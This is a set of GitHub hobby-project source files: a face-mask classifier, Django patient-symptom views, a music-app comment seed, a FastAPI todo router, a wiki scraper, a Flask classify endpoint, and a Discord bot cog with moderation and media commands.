{"seq_id":"4076537121","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom tensorflow.keras.applications import MobileNetV2\n\nwidth = 224\nheight = 224\n\nbatch_size = 32\ndata_dir = r\"C:\\Users\\anshu\\Desktop\\Face Mask Detection\\dataset\"\n\ntraining = tf.keras.preprocessing.image_dataset_from_directory(\n    data_dir,\n    validation_split=0.3,\n    subset='training',\n    seed=123,\n    image_size=(height, width),\n    batch_size=batch_size\n)\n\nvalidation = tf.keras.preprocessing.image_dataset_from_directory(\n    data_dir,\n    validation_split=0.3,\n    subset='validation',\n    seed=123,\n    image_size=(height, width),\n    batch_size=batch_size\n)\nclasses = training.class_names\n\n\nfor images, labels in training.take(1):\n    plt.imshow(images[1].numpy().astype('uint8'))\n    plt.title(classes[labels[1]])\n\nmodel = MobileNetV2(weights='imagenet')\n\nmodel.compile(optimizer='adam', \n              loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True), \n              metrics=['accuracy'])\n            \n# model.summary()\nface_mask_detection = model.fit(training,validation_data=validation,epochs=3)\n\n\nimg = tf.keras.preprocessing.image.load_img('', target_size=(height, width))\n\nimage_array = tf.keras.preprocessing.image.img_to_array(img)\n\nimage_array = tf.expand_dims(image_array,0)\n\nimage_array.shape\n\npredictions = model.predict(image_array)\n\nscore = tf.nn.softmax(predictions[0])\n\nimport numpy\nprint(classes[np.argmax(score)], 100*np.max(score))\n\nmodel.save('detection.model', save_format=\"h5\")\n\nacc = face_mask_detection.history['accuracy']\nval_acc = face_mask_detection.history['val_accuracy']\n\nloss= face_mask_detection.history['loss']\nval_loss= face_mask_detection.history['val_loss']\n\nepochs_range = range(10)\n\nplt.figure(figsize=(8, 8))\nplt.subplot(1, 2, 1)\nplt.plot(epochs_range, acc, label='Training Accuracy')\nplt.plot(epochs_range, val_acc, label='Validation Accuracy')\nplt.legend(loc='lower right')\nplt.title('Training and Validation Accuracy')\n\nplt.subplot(1, 2, 2)\nplt.plot(epochs_range, loss, label='Training Loss')\nplt.plot(epochs_range, val_loss, label='Validation Loss')\nplt.legend(loc='upper right')\nplt.title('Training and Validation Loss')\nplt.show()","repo_name":"anshulhub/Face_Mask_Detector","sub_path":"modeler.py","file_name":"modeler.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"19629127199","text":"import json\n\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import PermissionDenied\nfrom django.db.models import Q\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.views.decorators.cache import never_cache\n\nfrom symptoms.forms import CreateSymptomForm\nfrom symptoms.models import Symptom, PatientSymptom\nfrom symptoms.utils import (\n    assign_symptom_to_user,\n    get_assigned_symptoms_from_patient,\n    get_earliest_reporting_due_date,\n    get_latest_reporting_due_date,\n    is_symptom_editing_allowed,\n)\n\nfrom datetime import datetime, timedelta, time\n\n\n@login_required\n@never_cache\ndef index(request):\n    if not request.user.has_perm(\"accounts.manage_symptoms\"):\n        raise PermissionDenied\n\n    return redirect('symptoms:list_symptoms')\n\n\n# this function simply renders the \"Symptoms\" list page with all\n# the symptoms present in the database along with their respective details\n@login_required\n@never_cache\ndef list_symptoms(request):\n    if not request.user.has_perm(\"accounts.manage_symptoms\"):\n        raise PermissionDenied\n\n    return render(request, 'symptoms/list_symptoms.html')\n\n\n@login_required\n@never_cache\ndef list_symptoms_table(request):\n    if not request.user.has_perm(\"accounts.manage_symptoms\"):\n        raise PermissionDenied\n\n    symptoms_table = []\n    for symptom in Symptom.objects.all():\n        symptoms_table.append({\n            \"id\": symptom.id,\n            \"name\": symptom.name,\n            \"description\": symptom.description,\n            \"enabled\": symptom.is_active,\n        })\n\n    serialized_symptoms = json.dumps({'data': symptoms_table}, indent=4)\n\n    return HttpResponse(serialized_symptoms, content_type='application/json')\n\n\n# this function allows form data from the \"Create Symptom\" page to be submitted and handled properly\n# in such a manner as to dynamically change the view depending on what request method is detected and used\n@login_required\n@never_cache\ndef create_symptom(request):\n    if not request.user.has_perm(\"accounts.manage_symptoms\"):\n        raise PermissionDenied\n\n    if request.method == 'POST':\n        create_symptom_form = CreateSymptomForm(request.POST)\n\n        if create_symptom_form.is_valid():\n            if not Symptom.objects.filter(name=create_symptom_form.data.get('name')).exists():\n                symptom = create_symptom_form.save()\n\n                symptom.is_active = True\n                symptom.save()\n\n                if request.POST.get('Create and Return'):\n                    messages.success(request, 'The symptom was created successfully.')\n                    return redirect('symptoms:list_symptoms')\n\n                else:\n                    messages.success(request, 'The symptom was created successfully.')\n                    return render(request, 'symptoms/create_symptom.html', {\n                        'form': create_symptom_form\n                    })\n\n            else:\n                messages.error(request,\n                               'The symptom was not created successfully: This symptom name already exists for a given symptom. Please change the symptom name.')\n\n    else:\n        create_symptom_form = CreateSymptomForm()\n\n    return render(request, 'symptoms/create_symptom.html', {\n        'form': create_symptom_form\n    })\n\n\n# this function allows form data from the \"Edit Symptom\" page to be submitted and handled properly\n# in such a manner as to dynamically change the database symptom contents, depending on what request\n# method is detected and used, by making edits to it\n@login_required\n@never_cache\ndef edit_symptom(request, symptom_id):\n    if not request.user.has_perm(\"accounts.manage_symptoms\"):\n        raise PermissionDenied\n\n    symptom = Symptom.objects.get(id=symptom_id)\n\n    if request.method == 'POST':\n        edit_symptom_form = CreateSymptomForm(request.POST, instance=symptom)\n\n        if not edit_symptom_form.has_changed():\n            messages.error(request,\n                           f\"The symptom was not edited successfully: No edits made on this symptom. If you wish to make no changes, please click the \\\"Cancel\\\" button to go back to the list of symptoms.\")\n            return render(request, 'symptoms/edit_symptom.html', {\n                'form': edit_symptom_form\n            })\n\n        if edit_symptom_form.is_valid():\n            if not Symptom.objects.exclude(id=symptom_id).filter(name=edit_symptom_form.data.get('name')).exists():\n                edit_symptom_form.save()\n\n                if request.POST.get('Edit and Return'):\n                    messages.success(request, 'The symptom was edited successfully.')\n                    return redirect('symptoms:list_symptoms')\n\n            else:\n                messages.error(request,\n                               'The symptom was not edited successfully: This symptom name already exists for a given symptom. Please change the symptom name.')\n\n    else:\n        edit_symptom_form = CreateSymptomForm(instance=symptom)\n\n    return render(request, 'symptoms/edit_symptom.html', {\n        'form': edit_symptom_form\n    })\n\n\n@login_required\n@never_cache\ndef assign_symptom(request, user_id):\n    patient = User.objects.get(pk=user_id)\n\n    can_assign_symptom = (not patient.is_staff and (request.user.has_perm(\"accounts.assign_symptom_patient\") or request.user.has_perm(\"accounts.assign_symptom_assigned\") and patient in request.user.staff.get_assigned_patient_users()))\n\n    if not can_assign_symptom:\n        raise PermissionDenied\n\n    if patient.first_name == \"\" and patient.last_name == \"\":\n        patient_name = patient\n    else:\n        patient_name = f\"{patient.first_name} {patient.last_name}\"\n\n    assigned_symptoms = get_assigned_symptoms_from_patient(patient)\n    patient_information = patient.patient\n\n    # Check if Assign Symptom can be treated as Editing instead\n    allow_editing = is_symptom_editing_allowed(user_id)\n\n    # Ensure this is a post request\n    if request.method == 'POST':\n\n        # Get the action of the button\n        action = str(request.POST.get('button-action'))\n\n        # Ensure this was the action of assigning symptoms or updating\n        if action == 'assign' or action == 'update':\n            symptom_list = request.POST.getlist('symptom')\n\n            # Assigns symptoms selected for patient\n            if action == 'assign':\n                starting_date = datetime.combine(datetime.strptime(request.POST['starting_date'], '%Y-%m-%d'), time.max)\n                interval = int(request.POST.get('interval'))\n\n                if len(symptom_list) > 1:\n                    messages.success(request, 'The symptoms were assigned to this patient successfully.')\n\n                elif len(symptom_list) == 1:\n                    messages.success(request, 'The symptom was assigned to this patient successfully.')\n\n                else:\n                    messages.error(request,\n                                   'No symptoms were selected to be assigned to this patient. If you wish to not assign any symptoms to this patient at this point in time, please click the \\\"Cancel\\\" button to go back to this patient\\'s profile. Otherwise, please select at least one symptom to assign.')\n                    return render(request, 'symptoms/assign_symptom.html', {\n                        'symptoms': Symptom.objects.all(),\n                        'patient': patient,\n                        'patient_name': patient_name\n                    })\n\n            else:  # Update\n                # Get the number of extended days the report was extended for\n                report_extended_days = int(request.POST.get('extended_days'))\n\n                if report_extended_days <= 0:\n                    report_extended_days = 0\n\n                # get earliest and latest due date for current assigned symptoms\n                earliest_due_date = get_earliest_reporting_due_date(user_id)\n                latest_due_date = get_latest_reporting_due_date(user_id)\n\n                # starting date is the earliest due date\n                starting_date = earliest_due_date\n\n                # Calculate the original interval of how many days the symptom should be reported for\n                date_difference = latest_due_date - earliest_due_date\n                original_interval = date_difference.days + 1\n\n                # How many days the symptoms should be reported for including extended days\n                interval = original_interval + report_extended_days\n\n            # For everyday a symptom should be reported, loop and assign it to the user\n            while interval != 0:\n                for symptom_id in symptom_list:\n                    assign_symptom_to_user(symptom_id, user_id, starting_date)\n                interval = interval - 1\n                starting_date = starting_date + timedelta(days=1)\n\n            if action == 'update':\n                # delete old symptoms with data=null that are no longer assigned\n                query = PatientSymptom.objects.filter(\n                    Q(user_id=user_id) & Q(data=None) & ~Q(symptom_id__in=symptom_list))\n                query.delete()\n\n                messages.success(request, 'The assigned symptoms to this patient were updated successfully.')\n\n            if action == 'assign':\n                # Assigns quarantine status for patient\n                quarantine_status_changed = request.POST.get('should_quarantine') is not None\n                if patient_information.is_quarantining is not quarantine_status_changed:\n                    patient_information.is_quarantining = quarantine_status_changed\n                    patient_information.save()\n\n        return redirect('accounts:profile', user_id=user_id)\n\n    return render(request, 'symptoms/assign_symptom.html', {\n        'symptoms': Symptom.objects.all(),\n        'assigned_symptoms': assigned_symptoms,\n        'patient': patient,\n        'patient_name': patient_name,\n        'patient_is_quarantining': patient_information.is_quarantining,\n        'allow_editing': allow_editing,\n    })\n\n\n@login_required\n@never_cache\ndef toggle_symptom(request, symptom_id):\n    if not request.user.has_perm(\"accounts.manage_symptoms\"):\n        raise PermissionDenied\n\n    symptom = Symptom.objects.get(id=symptom_id)\n    symptom.is_active = not symptom.is_active\n    symptom.save()\n\n    return redirect('symptoms:list_symptoms')\n","repo_name":"srauph/Covigo","sub_path":"symptoms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10472,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"74281474030","text":"from app.models import db, Comment\n\n#user 11, 12, 13, 14\n\ndef seed_comments():\n    c1 = Comment(\n        user_id=11,\n        song_id=1,\n        content=\"love this song\",\n    )\n    c2 = Comment(\n        user_id=12,\n        song_id=3,\n        content=\"love this song\",\n    )\n    c3 = Comment(\n        user_id=13,\n        song_id=5,\n        content=\"love this song\",\n    )\n    c4 = Comment(\n        user_id=13,\n        song_id=7,\n        content=\"love this song!!\",\n    )\n    c5 = Comment(\n        user_id=13,\n        song_id=9,\n        content=\"love this song!!\",\n    )\n    c6 = Comment(\n        user_id=13,\n        song_id=11,\n        content=\"absolutely vibing B)\",\n    )\n    c7 = Comment(\n        user_id=12,\n        song_id=2,\n        content=\"absolutely vibing B)\",\n    )\n    c8 = Comment(\n        user_id=12,\n        song_id=4,\n        content=\"absolutely vibing B)\",\n    )\n    c9 = Comment(\n        user_id=12,\n        song_id=6,\n        content=\"absolutely vibing B)\",\n    )\n    c10 = Comment(\n        user_id=12,\n        song_id=8,\n        content=\"absolutely vibing B)\",\n    )\n    c11 = Comment(\n        user_id=12,\n        song_id=10,\n        content=\"absolutely vibing B)\",\n    )\n    c12 = Comment(\n        user_id=12,\n        song_id=12,\n        content=\"absolutely vibing B)\",\n    )\n    after1 = Comment(\n        user_id=11,\n        song_id=10,\n        content=\"~if you need a hero, just look in the mirror~\",\n    )\n    after2 = Comment(\n        user_id=13,\n        song_id=10,\n        content=\"let's goooooo\",\n    )\n    sativa1 = Comment(\n        user_id=13,\n        song_id=1,\n        content=\"🎵 spend cash for entertainment\",\n    )\n    good1 = Comment(\n        user_id=11,\n        song_id=2,\n        content=\"good day living in my mind!\",\n    )\n    while1 = Comment(\n        user_id=11,\n        song_id=3,\n        content=\"we chilling\",\n    )\n    wind1 = Comment(\n        user_id=11,\n        song_id=4,\n        content=\"I want to live in the forest now\",\n    )\n    oh1 = Comment(\n        user_id=11,\n        song_id=5,\n        content=\"y u playin baby boi whats up 🎵\",\n    )\n    nights1 = Comment(\n        user_id=11,\n        song_id=6,\n        content=\"this song will never get old\",\n    )\n    broken1 = Comment(\n        user_id=11,\n        song_id=7,\n        content=\"it's still love 🎵\",\n    )\n    de1 = Comment(\n        user_id=11,\n        song_id=8,\n        content=\"love kali :'), this album is fire\",\n    )\n    labyrinth1 = Comment(\n        user_id=11,\n        song_id=9,\n        content=\"my favorite song :)\",\n    )\n    to1 = Comment(\n        user_id=11,\n        song_id=11,\n        content=\"this song is a mantra for my mental health :)\",\n    )\n    every1 = Comment(\n        user_id=11,\n        song_id=12,\n        content=\"every day is summertime with you 🎵\",\n    )\n\n    db.session.add(c1)\n    db.session.add(c2)\n    db.session.add(c3)\n    db.session.add(c4)\n    db.session.add(c5)\n    db.session.add(c6)\n    db.session.add(c7)\n    db.session.add(c8)\n    db.session.add(c9)\n    db.session.add(c10)\n    db.session.add(c11)\n    db.session.add(c12)\n    db.session.add(after1)\n    db.session.add(after2)\n    db.session.add(sativa1)\n    db.session.add(good1)\n    db.session.add(while1)\n    db.session.add(wind1)\n    db.session.add(oh1)\n    db.session.add(nights1)\n    db.session.add(broken1)\n    db.session.add(de1)\n    db.session.add(labyrinth1)\n    db.session.add(to1)\n    db.session.add(every1)\n\n    db.session.commit()\n\ndef undo_comments():\n    db.session.execute(\"TRUNCATE comments RESTART IDENTITY CASCADE;\")\n    db.session.commit()\n","repo_name":"andyjonesdev/float","sub_path":"app/seeds/comments.py","file_name":"comments.py","file_ext":"py","file_size_in_byte":3570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71340646191","text":"from fastapi import APIRouter\nfrom fastapi import Depends\nfrom fastapi import HTTPException\n\nfrom app.db import db\n\nfrom app.auth import get_current_active_user\nfrom app.models.auth import UserModel\n\nfrom app.schemas.todo import TodoSchema\nfrom app.schemas.todo import TodosSchema\nfrom app.models.todo import TodoModel\n\n\nrouter = APIRouter()\n\n\n@router.get(\"/todo/\", response_model=TodosSchema)\nasync def get_todos(user: UserModel = Depends(get_current_active_user)):\n    todos = await TodoModel.query.where(\n        db.and_(\n            TodoModel.user_id == user.id,\n        )\n    ).order_by(TodoModel.id.desc()).limit(200).gino.all()\n\n    return TodosSchema.parse_obj({'objects': [x.to_dict() for x in todos]})\n\n\n@router.post(\"/todos/\", response_model=TodoSchema, status_code=201)\nasync def add_todo(\n        todo_schema: TodoSchema,\n        user: UserModel = Depends(get_current_active_user)\n):\n    todo = await TodoModel.create(\n        text=todo_schema.text,\n        completed=todo_schema.completed,\n        user_id=user.id\n    )\n    return TodoSchema.parse_obj(todo.to_dict())\n\n\n@router.get(\"/todos/{todo_id}/\", response_model=TodoSchema)\nasync def get_todo(todo_id: int, user: UserModel = Depends(get_current_active_user)):\n    todo = await TodoModel.query.where(\n        db.and_(\n            TodoModel.user_id == user.id,\n            TodoModel.id == todo_id,\n        )\n    ).gino.first()\n\n    if not todo:\n        raise HTTPException(status_code=404, detail=\"Todos are not found\")\n\n    return TodoSchema.parse_obj(todo.to_dict())\n\n\n@router.put(\"/todos/{todo_id}/\", response_model=TodoSchema)\nasync def edit_todo(\n        todo_id: int,\n        todo_schema: TodoSchema,\n        user: UserModel = Depends(get_current_active_user)\n):\n    todo = await TodoModel.query.where(\n        db.and_(\n            TodoModel.user_id == user.id,\n            TodoModel.id == todo_id,\n        )\n    ).gino.first()\n\n    if not todo:\n        raise HTTPException(status_code=404, detail=\"Todos are not found\")\n\n    await todo.update(\n        text=todo_schema.text,\n        completed=todo_schema.completed,\n    ).apply()\n\n    return TodoSchema.parse_obj(todo.to_dict())\n\n\n@router.delete(\"/todos/{todo_id}/\", status_code=204)\nasync def delete_todo(\n        todo_id: int,\n        user: UserModel = Depends(get_current_active_user)\n):\n    todo = await TodoModel.query.where(\n        db.and_(\n            TodoModel.user_id == user.id,\n            TodoModel.id == todo_id,\n        )\n    ).gino.first()\n\n    if not todo:\n        raise HTTPException(status_code=404, detail=\"Todos are not found\")\n\n    await todo.delete()\n\n    return {}\n","repo_name":"kgantsov/simple_todo_backend","sub_path":"app/api/v1/todo.py","file_name":"todo.py","file_ext":"py","file_size_in_byte":2614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34133284464","text":"from bs4 import BeautifulSoup\nimport requests\n\nclass Recipe:\n    def __init__(self, name):\n        self.name = name\n        self.ingredients = {}\n\n    def __str__(self):\n        return self.name\n  \ndef parseIngredients(recipe, ingredients):\n    ingredients_list = ingredients.split()\n    ingredients_list = ingredients_list[::-1]\n    while (len(ingredients_list) > 0):\n        if ingredients_list[0][1].isnumeric():\n            quant = ingredients_list.pop(0).strip('()')\n            ingredient = ingredients_list.pop(0)\n            while (len(ingredients_list) > 0 and not ingredients_list[0][1].isnumeric()):\n                if ingredients_list[0] == '(Any)':\n                    ingredients_list.pop(0)\n                else:\n                    ingredient = ingredients_list.pop(0) + ' ' + ingredient\n        recipe.ingredients[ingredient] = quant\n  \npage_to_scrape = requests.get('https://stardewvalleywiki.com/Cooking')\nsoup = BeautifulSoup(page_to_scrape.text, 'html.parser')\nrecipe_header = soup.find('h2', string='Recipes')\nrecipes_html = recipe_header.findNext('table')\nheaders_html = recipes_html.findAll('tr')[0].findAll('th')\nheaders = []\nfor header in headers_html:\n    headers.append(header.text)\n\ndef get_recipes_and_ingredients():\n    recipes = []\n    for row in recipes_html.find('tbody').children:\n        if len(list(row)) > 1:\n            data = row.findAll('td')\n            if len(data) > 1:\n                recipe = Recipe(data[headers.index('Name')].text.rstrip('\\n'))\n                recipes.append(recipe)\n                parseIngredients(recipe, data[headers.index('Ingredients')].text)\n    recipes_massaged = []\n    for recipe in recipes:\n        for item in list(recipe.ingredients):\n            recipes_massaged.append([recipe.name, item, recipe.ingredients[item]])\n    return recipes_massaged","repo_name":"szaccagni/stardew-scraper","sub_path":"helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":1823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"34489682560","text":"from cv2 import os\nfrom flask import Flask, request\nfrom numpy import ndarray\nfrom classification_model import *\nfrom flask_cors import CORS\n\napp = Flask(__name__)\nCORS(app)\n\n@app.route(\"/classify\", methods=['POST'])\ndef classify_image():\n    request_data = request.json\n    if(request_data == None):\n        return '{\"message\": \"Invalid Request\"}'\n    base64_image = request_data.get(\"image_src\")\n    if(base64_image == None):\n        return '{\"message\": \"Send a image please!\"}'\n\n    classify_result:ndarray = classify(base64_image)\n    trunc_result = \"{0:.3}\".format(classify_result.item(0))\n    result = trunc_result.replace('[', '').replace(']', '')\n    return '{\"result\":' + result + '}'\n\nif __name__ == '__main__':\n    port = os.getenv('PORT')\n    if(port == None):\n        print(\"Error on $PORT env variable\")\n    else:\n        app.run(host=\"0.0.0.0\", port=int(port), debug=True)\n","repo_name":"Nojipiz/cs_101","sub_path":"classification-back/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"}
{"seq_id":"730217466","text":"#画出每个人的每条数据的特征曲线\nfrom matplotlib import pyplot as plt\n\nwith open(\"train_data\\pd_speech_features2.csv\") as f:\n    lines=f.readlines()\n    for line in lines:\n\n        plt.ion()\n        strs = line.split(\",\")\n        Concat = [float(x) for x in strs[2:56]]\n        MFCC = [float(x) for x in strs[56:140]]\n        Wavelet = [float(x) for x in strs[140:322]]\n        TQWT = [float(x) for x in strs[322:754]]\n\n        plt.plot(TQWT)\n        plt.pause(0.5)\n        plt.ioff()\n        plt.clf()\n","repo_name":"TomJackson1205/Parkinson","sub_path":"draw_person_line.py","file_name":"draw_person_line.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"18840015698","text":"import discord, json, requests, random, webcolors\nfrom discord.ext import commands\nfrom discord_slash.utils.manage_commands import create_option, create_choice\nfrom discord_slash import cog_ext, SlashContext\nfrom sdk import husk_sdk\n\nguild_ids = []\n\nclass SlashCommands(commands.Cog):\n    def __init__(self, bot):\n        self.bot: commands.Bot = bot\n\n    @cog_ext.cog_slash(name=\"gif\", description=\"gives you a gif from the options!\", options=[\n        create_option(name=\"category\", description=\"Your predefined gif options\", option_type=3, required=True,\n                      choices=[create_choice(value=x, name=x) for x in husk_sdk.getgifs()])],\n                       guild_ids=guild_ids)\n    async def s_gif(self, ctx: SlashContext, category: str):\n        first_msg = await ctx.send('**Retriving data**')\n        apikey = self.bot.config.gif_apikey\n        lmt = 50\n        try:\n            r = requests.get(\"https://api.tenor.com/v1/search?q=%s&key=%s&limit=%s\" % (category, apikey, lmt))\n        except requests.exceptions.ConnectionError:\n            return await ctx.send(f'**ERROR** | `🛑` `Something wet wrong, try again.`',\n                                  delete_after=5)\n        if r.status_code == 200:\n            trending_gifs = json.loads(r.content)\n            data = trending_gifs['results'][random.randint(0, trending_gifs['results'].__len__())]\n            gif = None\n            for nm in data['media']:\n                if nm['gif']:\n                    gif = nm['gif']\n            embed = discord.Embed(title=discord.Embed.Empty, description=discord.Embed.Empty,\n                                  color=discord.colour.Color.blue())\n            embed.set_author(name=\"HUSK CAT GIFs\",\n                             icon_url='https://cdn6.aptoide.com/imgs/e/8/7/e87cd92ea75d17a681b1eef6b2b83670_icon.png')\n            embed.set_image(url=gif['url'])\n            embed.set_footer(text=f'size, about : {(gif[\"size\"] / 1000).__round__()}KB')\n            await first_msg.edit(content=None, embed=embed)\n        else:\n            await first_msg.edit(\n                content=f'**ERROR** | `🛑` `Something wet wrong, try again. Respond-Code :{r.status_code}`',\n                delete_after=5)\n\n    @cog_ext.cog_slash(guild_ids=guild_ids, name=\"clear\",\n                       description=\"Deletes the amount of messages givin to it based on the user, default is global purge!\",\n                       options=[create_option(name=\"amount\", description=\"Amount of messages to delete!\", option_type=4,\n                                              required=True),\n                                create_option(name=\"user\", description=\"specific user to check\", option_type=6,\n                                              required=False)])\n    async def s_clear(self, ctx: SlashContext, amount: int, user: discord.Member = None):\n        if not amount <= 100 and amount >= 1:\n            raise husk_sdk.OverTheLimit(\"1 -> 100\", amount)\n        else:\n            check = lambda message: (message.author == user) if user is not None else True\n            await ctx.channel.purge(limit=amount, check=check)\n            embed = discord.Embed(title=f\"**DONE :-)**\",\n                                  description=f\"```dif\\nThe Amount of {amount} messages have been purged from\" \\\n                                              f\" {ctx.channel.name}```\" \\\n                                      if user is None else f\"```dif\\nThe Amount of {amount} messages from {user.display_name}\" \\\n                                                           f\" have been purged from {ctx.channel.name}```\")\n            embed.set_footer(text=f\"Used by 🔹{ctx.author.display_name}🔹\"\n                             , icon_url=ctx.author.avatar_url)\n            await ctx.send(embed=embed)\n\n    @cog_ext.cog_slash(name=\"moveall\", description=\"Moves all the members in a server, to authors VoiceChannel!\",\n                       guild_ids=guild_ids)\n    async def s_moveall(self, ctx: SlashContext):\n        toMove = [mem for voice in [voice.members for voice in ctx.guild.voice_channels\n                                    if voice.members is not None] for mem in\n                  voice]  ##gets a list of every member in a VC\n        moved = []\n        for member in toMove:\n            if member != ctx.author and member not in ctx.author.voice.channel.members:\n                await member.move_to(ctx.author.voice.channel)\n                moved.append(member)\n        embed = discord.Embed(title=f\"Moved `{len(moved)} Members` to `{ctx.author.voice.channel.name}`\",\n                              description=\"**__Moved Members__**:\\n\" +\n                                          \"\\n\".join([member.mention for member in moved]), color=discord.Color.random()) \\\n            .set_footer(text=f\"Used by 🔹{ctx.author.display_name}🔹\",\n                        icon_url=ctx.author.avatar_url) if moved != [] else \\\n            discord.Embed(title=f\"**Moveall command**\", description=\"**🚫 No one is in other VoiceChannels!**\",\n                          color=discord.Color.red())\n        await ctx.send(embed=embed, delete_after=None if moved != [] else 10)\n\n    @cog_ext.cog_slash(name=\"muteall\", description=\"Mutes all the members in authors VC!\",\n                       guild_ids=guild_ids)\n    async def s_muteall(self, ctx: commands.Context):\n        muted = []\n        for member in ctx.author.voice.channel.members:\n            if member != ctx.author:\n                await member.edit(mute=True)\n                muted.append(member)\n        embed = discord.Embed(title=f\"Muted `{len(muted)} Members` in `{ctx.author.voice.channel.name}`\",\n                              description=\"**__Muted Members__**:\\n\" +\n                                          \"\\n\".join([member.mention for member in muted]), color=discord.Color.random()) \\\n            .set_footer(text=f\"Used by 🔹{ctx.author.display_name}🔹\",\n                        icon_url=ctx.author.avatar_url) if muted != [] else \\\n            discord.Embed(title=f\"**Muteall command**\", description=\"**🚫 No one is in this VoiceChannel except you!**\",\n                          color=discord.Color.red())\n        await ctx.send(embed=embed, delete_after=None if muted != [] else 10)\n\n    @cog_ext.cog_slash(name=\"unmuteall\", description=\"Unmutes all the members in authors VC!\", guild_ids=guild_ids)\n    async def s_unmuteall(self, ctx: commands.Context):\n        unmuted = []\n        for member in ctx.author.voice.channel.members:\n            if member.voice.mute:\n                if member != ctx.author:\n                    await member.edit(mute=False)\n                    unmuted.append(member)\n        embed = discord.Embed(title=f\"UnMuted `{len(unmuted)} Members` in `{ctx.author.voice.channel.name}`\",\n                              description=\"**__UnMuted Members__**:\\n\" +\n                                          \"\\n\".join([member.mention for member in unmuted]),\n                              color=discord.Color.random()) \\\n            .set_footer(text=f\"Used by 🔹{ctx.author.display_name}🔹\",\n                        icon_url=ctx.author.avatar_url) if unmuted != [] else \\\n            discord.Embed(title=f\"**UnMuteall command**\",\n                          description=\"**🚫 No one is in this VoiceChannel except you!**\",\n                          color=discord.Color.red())\n        await ctx.send(embed=embed, delete_after=None if unmuted != [] else 10)\n\n    @cog_ext.cog_slash(name=\"check\", description=\"Gives you info about an specific member anonymously\",\n                        options=[create_option(name=\"user\", description=\"specific user to check\", option_type=6,\n                                              required=True)], guild_ids=guild_ids)\n    async def s_check(self, ctx: SlashContext, user: discord.User):\n        member: discord.Member = discord.utils.get(ctx.guild.members, id=user.id)\n        try:\n            color_web = webcolors.name_to_rgb(f'{user.default_avatar}')\n            color = discord.Colour.from_rgb(color_web.red, color_web.green, color_web.blue)\n        except ValueError:\n            color = discord.Color.random()\n        embed = discord.Embed(title=f\"User's DisplayName: `{user.display_name}`\",\n                              description=f\"**User's id** : `{user.id}`\\n\"\n                                          f\"**User's Discriminator** : `#{user.discriminator}`\",\n                              colour=color)\n\n        embed.set_thumbnail(url=user.avatar.url)\n        embed.set_footer(text=f\"Used by 🔹{ctx.author.display_name}🔹\",\n                         icon_url=ctx.author.avatar_url)\n        embed.add_field(name=\"`Account Specific Detail`**:**\",\n                        value=f\"\"\"```Account Created in : {user.created_at.strftime('%Y-%m-%d')}\nAnimated Profile Avatar? : {'Yes' if user.avatar.is_animated() else 'No'}\nis a Bot? : {'Yes' if user.bot else 'No'}\nDefault Avatar Color : {user.colour}\nCurrent Activity : {member.activity.name if member.activity is not None else 'Nothing'}\nis on mobile? : {'Yes' if member.is_on_mobile() else 'No'}\nStatus : {'Do not Disturb' if member.status == 'dnd' else member.status}```\"\"\")\n        embed.add_field(name=f\"`Server Specific Detail`**:**\",\n                        value=f\"\"\"```current Server : {ctx.guild.name}\nNickName : {'None' if member.nick is None else member.nick}\njoined the server at : {member.joined_at.strftime(\"%Y-%m-%d\")}\nTop Role : {member.top_role.name}\nIs Boosting the server? : {'Yes' if member.premium_since is not None else 'No'}\nServer Roles : {\"-\".join([role.name for role in member.roles if role.name != \"@everyone\"])}\nis Server Owner : {'Yes' if member == ctx.guild.owner else 'No'}\n                                ```\"\"\",\n                        inline=False)\n        await ctx.send(embed=embed, hidden=True)\n    @cog_ext.cog_slash(name=\"hentai\", description=\"Gives you some good stuff from r/hentai\", options=[\n        create_option(name=\"hidden\", description=\"Only you can see the result if `YES`\", required=False, option_type=4, choices=[\n            create_choice(name=\"YES, just for me\", value=1), create_choice(name=\"NO, lets enjoy it together\", value=0)])], guild_ids=guild_ids)\n    async def s_hentai(self, ctx: SlashContext, hidden: int = 0):\n        hidden = bool(hidden)\n        def embed_msg(data):\n            embed = discord.Embed(title=discord.Embed.Empty,\n                                  description=discord.Embed.Empty,\n                                  color=discord.colour.Color.dark_orange())\n            embed.set_author(name=f\"{data['title']}\", url=data['postLink'],\n                             icon_url='https://2.bp.blogspot.com/-r3brlD_9eHg/XDz5bERnBMI/AAAAAAAAG2Y/XfivK0eVkiQej2t-xfmlNL6MlSQZkvcEACK4BGAYYCw/s1600/logo%2Breddit.png')\n            embed.set_image(url=data['url'])\n            embed.set_footer(\n                text=f'⬆ UpVotes : {data[\"ups\"]} , subreddit : {data[\"subreddit\"]},\\n 🔞 NSFW : {data[\"nsfw\"]}, ✍author : {data[\"author\"]}')\n            return embed\n\n        r = requests.api.get(f'https://meme-api.herokuapp.com/gimme/hentai')\n        if r.status_code == 200:\n            data = r.json()\n            if data['nsfw']:\n                if ctx.channel.is_nsfw():\n                    await ctx.send(embed=embed_msg(data), hidden=hidden)\n                else:\n                    await ctx.send(f'**NSFW** | `🔞` `{ctx.channel.name} is not an NSFW channel!`', hidden=hidden)\n            else:\n                await ctx.send(embed=embed_msg(data), hidden=hidden)\n        else:\n            await ctx.send(f'**REDDIT ERROR** | `🚫` `{r.json()}`')\ndef setup(bot):\n    global guild_ids\n    bot.add_cog(SlashCommands(bot))\n    guild_ids = bot.config.slashguilds\n    print('slashcommands.py 